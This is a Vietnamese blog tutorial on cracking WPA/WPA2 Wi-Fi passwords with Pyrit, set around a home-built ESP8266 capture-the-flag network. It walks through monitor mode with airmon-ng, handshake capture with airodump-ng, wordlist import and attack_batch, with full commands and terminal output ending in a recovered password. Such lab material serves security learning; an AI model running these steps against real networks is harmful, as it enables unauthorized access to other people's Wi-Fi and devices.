Thủ Thuật

Crack mật khẩu Wi-Fi WPA & WPA2 với Pyrit

Pyrit là một trong những công cụ bẻ khóa WPA / WPA2 mạnh mẽ nhất trong kho vũ khí của tin tặc, với khả năng đánh giá tốc độ CPU của máy tính, phân tích các tệp tin chụp cho các lần hanshake có thể bẻ khóa và thậm chí khai thác sức mạnh bẻ khóa mật khẩu GPU. Để chứng minh nó có thể hack mật khẩu WPA / WPA2 nhanh như thế nào, chúng ta sẽ sử dụng nó để chơi trò chơi CTF hack Wi-Fi mà bất kỳ ai cũng có thể thực hành với giá dưới 200,000 VNĐ

Wi-Fi vô cùng tiện lợi nhưng đi kèm với các vấn đề bảo mật cố hữu khiến việc sử dụng nó trở nên rủi ro hơn so với một giải pháp thay thế có dây. Đó là bởi vì bất kỳ ai cũng có thể tham gia mạng Wi-Fi được mã hóa WPA miễn là họ biết mật khẩu, cho phép kẻ tấn công truy cập trực tiếp vào các thiết bị khác trên mạng và lưu lượng mạng nói chung. Chọn một mật khẩu Wi-Fi khó đoán là rất quan trọng, bởi vì, với một danh sách mật khẩu tốt và một chương trình như Pyrit, ngay cả danh sách mật khẩu khổng lồ cũng có thể được tìm kiếm trong vài phút.
Bẻ khóa mật khẩu với OpenCL & CUDA

Mặc dù chúng ta sẽ không sử dụng GPU bẻ khóa ngày hôm nay, nhưng Pyrit có khả năng sử dụng GPU tương thích để bẻ khóa mật khẩu nhanh hơn nữa. Nó phụ thuộc vào phần cứng máy tính của bạn và do đó quá trình thiết lập sẽ phụ thuộc vào loại GPU bạn có và việc bạn chọn sử dụng OpenCL hay CUDA. Sau khi tăng tốc GPU được bật, Pyrit là một trong những công cụ nhanh nhất hiện có để bẻ khóa mật khẩu WPA.

Bạn có thể gặp may mắn khi GPU của máy tính của bạn đã tương thích với Pyrit, nhưng để tăng tốc GPU hoạt động là một quá trình không suôn sẻ mà ta sẽ để lại cho những người trong số các bạn đủ dũng cảm. Bạn luôn có thể thử nó bằng cách làm theo hướng dẫn của Pyrit trên GitHub để được hướng dẫn, nhưng ta đã không thể làm cho nó hoạt động chính xác trên một trong hai máy tính xách tay mà ta đã thử, tại thời điểm viết bài này.

Bẻ khóa mật khẩu trong trò chơi CTF

Pyrit có nhiều công cụ hữu ích cho tin tặc và kẻ lừa đảo ngoài việc bẻ khóa mật khẩu và hôm nay, chúng ta sẽ sử dụng một số công cụ đó để giúp chúng ta chơi trò chơi hack Wi-Fi bắt đầu. Một công cụ hữu ích là lệnh dải, loại bỏ các tệp chụp dài để chỉ bao gồm các gói có liên quan. Và sau đó có tùy chọn xác minh cho phép Pyrit xác nhận kết quả thông qua tính toán lại.
Pyrit cũng có một số tính năng để nhập nhiều danh sách mật khẩu vào một cơ sở dữ liệu lớn. Để ngăn trùng lặp, lệnh import_unique_passwords cũng có thể loại bỏ các mật khẩu xuất hiện nhiều lần trong cùng một tệp mà chúng ta đang cố gắng nhập. Sau khi chúng ta nhập mật khẩu vào cơ sở dữ liệu, chúng ta có thể bắt đầu bẻ khóa chúng bằng tùy chọn attack_batch.
Trong Kali Linux, chúng ta có thể xem mô tả của công cụ bằng cách gõ man pyrit trong cửa sổ terminal.

NAME
pyrit – A GPGPU-driven WPA/WPA2-PSK key cracker

SYNOPSIS
pyrit [options] command

DESCRIPTION
Pyrit exploits the computational power of many-core- and GPGPU-plat‐
forms to create massive databases, pre-computing part of the
WPA/WPA2-PSK authentication phase in a space-time tradeoff. It is a
powerful attack against one of the world’s most used security-proto‐
cols.

Không cần thêm mật khẩu trực tiếp vào cơ sở dữ liệu Pyrit, cuộc tấn công cơ bản nhất mà chúng ta có thể chạy với Pyrit là tùy chọn attack_passthrough, được tóm tắt đơn giản qua phần mô tả.

attack_passthrough
Attack an EAPOL-handshake found in the packet-capture
file(s) given by the option -r using the passwords read
from the file given by the option -i. The options -b and
-e can be used to specify the Access-Point to attack; it
is picked automatically if both options are omitted. The
password is written to the filename given by the option
-o if specified. For example:

pyrit -r test.pcap -b 00:de:ad:be:ef:00
-i words.txt attack_passthrough

Pyrit attacks all EAPOL-handshakes at the same time if
the option –all-handshakes is supplied.

Mặc dù chúng ta sẽ thực hiện điều này bằng cách tải một số mật khẩu vào cơ sở dữ liệu trước, nhưng phương pháp bẻ khóa mật khẩu cơ bản nhất với Pyrit cực kỳ đơn giản để sử dụng.
Kịch bản tấn công Wi-Fi CTF
Để làm theo, bạn sẽ cần tối thiểu một bộ điều hợp mạng không dây tương thích với Kali, mạng Wi-Fi mà bạn biết mật khẩu, một thiết bị như điện thoại thông minh để tham gia mạng để tạo hanshake và một máy tính chạy Kali Linux.
Nếu bạn muốn thử kịch bản của chúng ta dễ dàng hơn, bạn có thể sử dụng bộ vi điều khiển ESP8266 cực rẻ được lập trình trong Arduino để vừa tạo mạng Wi-Fi để tấn công và tạo hanshake cùng một lúc. Đối với bất kỳ ai muốn luyện tập với MCU, ta và bạn bè đã viết một trò chơi CTF hack Wi-Fi có tên là ChickenManGame, trò chơi CTF hack Wi-Fi nổi tiếng nhất (và duy nhất) trên thế giới dựa trên ESP8266.

Để chơi trò chơi, ta khuyên bạn nên sử dụng vi điều khiển NodeMCU hoặc D1 Mini, cả hai đều dựa trên ESP8266 và có giá từ 2 đến 5 đô la cho mỗi bo mạch. Tải bản phác thảo ChickenManGame trong Arduino, cài đặt các thư viện cần thiết và đẩy mã vào ESP8266 theo hướng dẫn trên kho lưu trữ GitHub. Sau khi bạn đã đẩy mã cho từng bộ vi điều khiển, hãy cắm đèn LED màu đỏ, xanh lá cây và xanh lam cho từng bộ vi điều khiển như được hiển thị trong hướng dẫn trên GitHub.
https://www.lazada.vn/products/module-nodemcu-iot-esp8266-esp-12e-cp2102-i156464139.html
Cuối cùng, cắm từng thiết bị vào nguồn điện Micro-USB, sau đó kết nối dây jumper từ chân D7 với chỉ nối đất trên một trong số chúng. ESP8266 không có chân D7 được kết nối với mặt đất sẽ tạo ra một mạng Wi-Fi có tên “Chicken Easy” với một số ở cuối. Thiết bị thứ hai có chân D7 được kết nối với mặt đất sẽ tham gia mạng Wi-Fi mà thiết bị đầu tiên đã tạo, tạo ra các cú hanshake WPA để bạn nắm bắt và bẻ khóa dễ dàng.
Trong trò chơi của chúng ta ngày hôm nay, chúng ta sẽ cố gắng kết nối với một điểm truy cập Wi-Fi được mã hóa bằng mật khẩu WPA / WPA2 mà chúng ta không biết. Chúng ta sẽ thực hiện việc này trong một vài bước, sử dụng airodump-ng để hanshake và Pyrit để bẻ khóa mật khẩu.
Bước 1: Cài đặt Pyrit
Để cài đặt Pyrit trên hệ thống Kali, hãy nhập apt install pyrit trong cửa sổ đầu cuối. Pyrit được cài đặt theo mặc định trên các bản cài đặt Kali đầy đủ, nhưng đối với phiên bản lite, bạn có thể cần phải cài đặt nó theo cách thủ công.

~$ apt install pyrit

Reading package lists… Done
Building dependency tree
Reading state information… Done
pyrit is already the newest version (0.5.1+git20180801-1).
pyrit set to manually installed.
The following package was automatically installed and is no longer required:
libgit2-27
Use ‘apt autoremove’ to remove it.
0 upgraded, 0 newly installed, 0 to remove and 1795 not upgraded.
Sau khi cài đặt xong, hãy nhập pyrit -h để in menu trợ giúp và xác nhận rằng nó đã được cài đặt trên hệ thống của chúng ta.

~$ pyrit -h

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg – 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Usage: pyrit [options] command

Recognized options:
-b : Filters AccessPoint by BSSID
-e : Filters AccessPoint by ESSID
-h : Print help for a certain command
-i : Filename for input (‘-‘ is stdin)
-o : Filename for output (‘-‘ is stdout)
-r : Packet capture source in pcap-format
-u : URL of the storage-system to use
–all-handshakes : Use all handshakes instead of the best one
–aes : Use AES

Recognized commands:
analyze : Analyze a packet-capture file
attack_batch : Attack a handshake with PMKs/passwords from the db
attack_cowpatty : Attack a handshake with PMKs from a cowpatty-file
attack_db : Attack a handshake with PMKs from the db
attack_passthrough : Attack a handshake with passwords from a file
batch : Batchprocess the database
benchmark : Determine performance of available cores
benchmark_long : Longer and more accurate version of benchmark (5 minutes)
check_db : Check the database for errors
create_essid : Create a new ESSID
delete_essid : Delete a ESSID from the database
eval : Count the available passwords and matching results
export_cowpatty : Export results to a new cowpatty file
export_hashdb : Export results to an airolib database
export_passwords : Export passwords to a file
help : Print general help
import_passwords : Import passwords from a file-like source
import_unique_passwords : Import unique passwords from a file-like source
list_cores : List available cores
list_essids : List all ESSIDs but don’t count matching results
passthrough : Compute PMKs and write results to a file
relay : Relay a storage-url via RPC
selftest : Test hardware to ensure it computes correct results
serve : Serve local hardware to other Pyrit clients
strip : Strip packet-capture files to the relevant packets
stripLive : Capture relevant packets from a live capture-source
verify : Verify 10% of the results by recomputation

Đối với cuộc tấn công của chúng ta, chúng ta sẽ sử dụng tùy chọn attack_batch và chúng ta sẽ cần một vài thông tin để lệnh hoạt động.
Trước tiên, chúng ta cần bao gồm một tệp chụp mà hanshake WPA / WPA2 của chúng ta được lưu trong đó. Chúng ta sẽ thêm nó bằng cách thêm flag -r, với vị trí của tệp chứa handshake của chúng ta ngay sau đó. Tiếp theo, chúng ta sẽ cần thêm danh sách mật khẩu vào Pyrit, điều này chúng ta có thể thực hiện với lệnh import_unique_passwords và flag -i để chỉ ra danh sách mật khẩu mà chúng ta muốn thêm. Chúng ta sẽ sử dụng danh sách mật khẩu WPA từ kho lưu trữ SecLists GitHub. Cuối cùng, chúng ta sẽ sử dụng flag -o để lưu mật khẩu vào một tệp.
Lệnh cuối cùng của chúng ta sẽ trông giống như sau khi chúng ta đã sẵn sàng:

~$ pyrit -r capture.pcap -o savedpass attack_batch

Tuy nhiên, trước khi chúng ta có thể thực hiện cuộc tấn công, chúng ta sẽ cần lấy cái handshake và danh sách mật khẩu, vì vậy hãy lấy chúng trước.

Bước 2:Tải xuống danh sách mật khẩu và Benchmark System

Đối với danh sách mật khẩu của chúng ta, chúng ta sẽ tải xuống danh sách từ bẻ khóa WPA tuyệt vời được lưu trữ tại kho lưu trữ SecList GitHub. Để tải nó xuống Máy tính để bàn của chúng ta, hãy nhập các lệnh sau vào cửa sổ dòng lệnh.

~$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt

–2019-12-20 13:19:39– https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)… 151.101.0.133, 151.101.64.133, 151.101.128.133, …
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443… connected.
HTTP request sent, awaiting response… 200 OK
Length: 45276 (44K) [text/plain]
Saving to: ‘probable-v2-wpa-top4800.txt’

probable-v2-wpa-top 100%[===================>] 44.21K –.-KB/s in 0.07s

2019-12-20 13:19:39 (627 KB/s) – ‘probable-v2-wpa-top4800.txt’ saved [45276/45276]

Khi nó hoàn tất, chúng ta sẽ có một danh sách mật khẩu gồm 4.800 mật khẩu tệ nhất hiện có để bắt đầu, tải xuống máy tính để bàn của chúng ta. Để biết chúng ta sẽ có thể vượt qua chúng nhanh chóng như thế nào, chúng ta cần phải chuẩn hệ thống của mình với Pyrit. Để làm như vậy, hãy nhập điểm chuẩn pyrit vào cửa sổ đầu cuối và đợi trong khi nó hoàn thành.

~$ pyrit benchmark

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg – 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Running benchmark (1157.3 PMKs/s)… |

Computed 1157.32 PMKs/s total.
#1: ‘CPU-Core (SSE2/AES)’: 298.2 PMKs/s (RTT 2.9)
#2: ‘CPU-Core (SSE2/AES)’: 312.0 PMKs/s (RTT 3.0)
#3: ‘CPU-Core (SSE2/AES)’: 312.6 PMKs/s (RTT 2.7)
#4: ‘CPU-Core (SSE2/AES)’: 310.5 PMKs/s (RTT 3.0)
Ở đây, chúng ta có thể thấy rằng chiếc Lenovo khá cũ của ta có thể thử khoảng 1.157,3 PMK mỗi giây, có nghĩa là sẽ mất khoảng 4,1 giây để thử mọi mật khẩu trong tệp. So sánh điều đó với Macbook Pro mới với 4.226 PMK mỗi giây và bạn sẽ thấy sức mạnh của CPU quan trọng như thế nào khi nói đến việc bẻ khóa.

Hãy thêm mật khẩu của chúng ta vào cơ sở dữ liệu bằng lệnh import_passwords, thêm -i và đường dẫn đến danh sách mật khẩu mà chúng ta muốn thêm. Nhập lệnh sau vào cửa sổ đầu cuối của bạn, sửa đổi danh sách mật khẩu để khớp với nơi bạn đã lưu.

~$ pyrit -i ‘/root/Desktop/probable-v2-wpa-top4800.txt’ import_passwords

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg – 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Connecting to storage at ‘file://’… connected.
4800 lines read. Flushing buffers….
All done.

Bây giờ chúng ta có 4.800 mật khẩu được lưu trong cơ sở dữ liệu của Pyrit và chúng ta có thể sử dụng tùy chọn attack_batch.

Bước 3 Chụp handshake WPA / WPA2

Để handshake , chúng ta cần lắng nghe trên một thiết bị kết nối với mạng Wi-Fi mục tiêu của chúng ta. Đầu tiên, hãy đặt thẻ của chúng ta vào chế độ màn hình không dây để chúng ta có thể nghe các tệp handshake.

Đừng bỏ lỡ: Hack mật khẩu Wi-Fi WPA & WPA2 bằng Airgeddon
Đầu tiên, mở cửa sổ dòng lệnh và nhập ifconfig để tìm tên bộ điều hợp mạng không dây của bạn. Nếu bạn đang sử dụng bộ điều hợp USB bên ngoài tương thích với Kali, nó có thể sẽ được đặt tên là wlan1.

~$ ifconfig

eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 50:7b:9d:7a:c8:8a txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 856 bytes 71488 (69.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 856 bytes 71488 (69.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.37 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 2606:6000:66d0:a000:8991:f76f:faec:2713 prefixlen 64 scopeid 0x0<global>
inet6 fe80::903f:322c:1ad9:a365 prefixlen 64 scopeid 0x20<link>
ether 30:52:cb:6b:76:5f txqueuelen 1000 (Ethernet)
RX packets 17933 bytes 22147581 (21.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10045 bytes 1333343 (1.2 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan1: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 00:c0:ca:95:6e:74 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Tiếp theo, chúng ta sẽ đặt thẻ của mình vào chế độ giám sát không dây bằng lệnh airmon-ng start wlan1. Airmon-ng được cài đặt trên Kali theo mặc định. Khi chúng ta chạy lại ifconfig, thẻ của chúng ta bây giờ sẽ được gọi là “wlan1mon.” Bây giờ, chúng ta hãy handshake.

Trước tiên, chúng ta sẽ quét để tìm xem mạng mục tiêu của chúng ta đang sử dụng kênh nào. Để làm như vậy, hãy chạy airodump-ng wlan1mon. Một lần nữa, bạn nên có airodump-ng.

~$ airodump-ng wlan1mon

CH 10 ][ Elapsed: 0 s ][ 2019-04-29 12:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

18:FE:34:00:00:02 -40 4 0 0 3 48 WPA2 CCMP PSK Chicken_Easy_02

Chúng ta có thể thấy mạng mục tiêu của chúng ta nằm trên kênh 3. Bây giờ chúng ta đã biết điều này, chúng ta có thể bắt một cái handshake bằng lệnh airodump-ng wlan1mon -c 3 -w capture.

~ $ airodump-ng wlan1mon -c 3 -w chụp
Khi bạn đã bắt được một cái handshake, bạn có thể xác nhận nó với Pyrit. Sau khi sao chép vị trí của tệp chụp của bạn, hãy chạy lệnh pyrit -r pathtocapturefile analysis để xác nhận rằng bạn có một bản chụp hợp lệ.

~$ pyrit -r ‘/root/Desktop/capture-01.cap’ analyze

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg – 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Parsing file ‘/root/Desktop/marko-01.cap’ (1/1)…
Parsed 122 packets (122 802.11-packets), got 8 AP(s)

#1: AccessPoint 84:61:a0:61:39:90 (‘ATT9X3s2e4’):
#2: AccessPoint ce:50:e3:08:11:d4 (‘Chicken_Easy_01’):
#1: Station 84:0d:8e:8c:b0:1c, 4 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 1
#3: HMAC_SHA1_AES, good, spread 87
#4: HMAC_SHA1_AES, good, spread 87
#3: AccessPoint 6e:4d:73:96:78:a7 (‘Edgardo’):
#1: Station cc:29:f5:57:fc:98
#4: AccessPoint c4:01:7c:57:69:a8 (‘LILA-Guest’):
#5: AccessPoint c4:01:7c:97:69:a8 (‘LILA-STAFF’):
#6: AccessPoint 6c:b0:ce:ad:1e:53 (‘MyCharterWiFi53-2G’):
#7: AccessPoint b0:98:2b:4a:b4:d4 (‘MySpectrumWiFice-2G’):
#8: AccessPoint c4:01:7c:17:69:a8 (‘PS-WL-MO’):

Ở đây, chúng ta có thể thấy rằng chúng ta có những cái handshake tốt, nghĩa là chúng ta có thể tiến hành bẻ khóa.
Bước 4 Chạy Pyrit trên handshake
Bây giờ chúng ta đã nắm bắt được quá trình handshake và thêm mật khẩu vào cơ sở dữ liệu, chúng ta có thể chạy lệnh attack_batch mà chúng ta đã tạo trước đó. Chạy lệnh pyrit -r pathtocapturefile -o savepass attack_batch để thử bẻ khóa các lần handshake mà chúng ta đã chụp được.

~$ pyrit -r ‘/root/Desktop/capture-01.cap’ -o savedpass attack_batch

Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg – 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Parsing file ‘/root/Desktop/capture-01.cap’ (1/1)…
Parsed 122 packets (122 802.11-packets), got 8 AP(s)

Picked AccessPoint ce:50:e3:08:11:d4 (‘Chicken_Easy_01’) automatically.
Tried 447 PMKs so far; 250 PMKs per second. password

The password is ‘123456789’.

Sự thành công! Nếu bạn đang chơi trò chơi CTF hack Wi-Fi của chúng ta, bạn có thể đăng nhập vào điểm truy cập Wi-Fi, điều hướng đến 192.168.4.1 và nhấp vào màu của đội bạn để nhận phần trò chơi cho đội của bạn.

Nếu bạn không chơi trò chơi của chúng ta, thì bạn vừa bẻ khóa mật khẩu cho mạng WPA / WPA2, miễn là mật khẩu có trong danh sách. Nếu không, bạn có thể cần một danh sách mật khẩu phong phú hơn, thậm chí để thử cưỡng bức nó.

Pyrit giúp bạn dễ dàng sử dụng mật khẩu Brute-Force
Mặc dù hôm nay chúng ta chưa xem qua mọi thứ mà Pyrit có thể làm, nhưng có rất nhiều điều chúng ta chưa đề cập. Tất nhiên, trong khi Pyrit là một trong những đòn tấn công thô bạo mạnh nhất hiện có, một khẩu cực kỳ mạnh vẫn sẽ đánh bại đòn tấn công. Pyrit có khả năng thực hiện cả các cuộc tấn công từ điển và cưỡng bức thực sự tùy thuộc vào những gì hệ thống của bạn có thể xử lý, vì vậy hãy đảm bảo chọn mật khẩu mạnh nếu bạn không muốn dễ bị bẻ khóa bằng các công cụ như Pyrit.

Văn Thống

Tôi là Lê Văn Thống với niềm Đam mê về phần mềm, thủ thuật máy tính và muốn chia sẽ những kiến thức công nghệ . Tôi là chuyên gia viết về các phần mềm và thủ thuật máy tính.

Related Articles

Back to top button